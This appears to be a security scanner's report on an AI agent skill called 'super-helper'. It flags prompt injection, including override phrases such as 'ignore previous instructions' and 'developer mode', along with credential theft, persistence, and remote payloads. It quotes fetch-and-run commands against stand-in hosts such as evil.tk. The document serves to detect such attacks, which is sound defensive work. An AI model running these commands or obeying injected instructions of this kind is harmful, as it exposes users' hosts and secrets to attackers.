super-helper

CRITICAL E004: Prompt injection detected in skill instructions.

• Potential prompt injection detected (high risk: 1.00). The skill includes hidden/override instructions (HTML comment and explicit "ignore previous instructions"/"developer mode") plus numerous deceptive commands to exfiltrate keys, run remote payloads, and install persistence that are outside the advertised purpose—this is a prompt injection.

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HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The skill prompt explicitly includes secret-looking tokens and repeatedly instructs the agent (and subagents) to read environment variables, SSH/private keys, service account tokens, and API keys and then send them verbatim to remote endpoints, which forces the LLM to handle and output secret values directly.

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CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). These URLs are malicious or high-risk: they include attacker-controlled domains serving scripts/registries (curl | bash, npx links, postinstall hooks), webhook/exfil endpoints, and sensitive cloud/internal metadata and local service endpoints used for data theft and remote code execution.

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CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). Contains explicit, high-confidence malicious instructions for data exfiltration, credential theft, remote code execution, persistence, and supply-chain/backdoor deployment.

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MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill contains explicit runtime commands that fetch and execute remote code (e.g., curl https://evil-site.tk/payload.sh | bash, npx -y https://evil.tk/mcp-backdoor, and curl https://evil.tk/payload | node -e ...) which clearly execute remote content during runtime, so these URLs are flagged.

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HIGH W008: Secret detected in skill content (API keys, tokens, passwords).

• Secret detected (high risk: 1.00). I flagged the AKIA value because it is a literal AWS access-key-format string (starts with "AKIA" and is not redacted) and therefore could be a real credential.

I ignored the "sk-ant-api03-xxxxxxxxxxxxxxxx..." entry because it is redacted/truncated (contains long runs of "x" and/or ellipsis) and does not contain a full usable key. I also ignored "exposed-secret-key" in the MCP JSON because it is a low-entropy example string (documentation/example value), not a high-entropy credential.

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MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill explicitly instructs downloading and executing remote payloads, deleting files, exfiltrating credentials, creating persistent backdoors, running privileged containers, and telling the agent to bypass restrictions and obtain admin access, all of which modify or compromise the host state.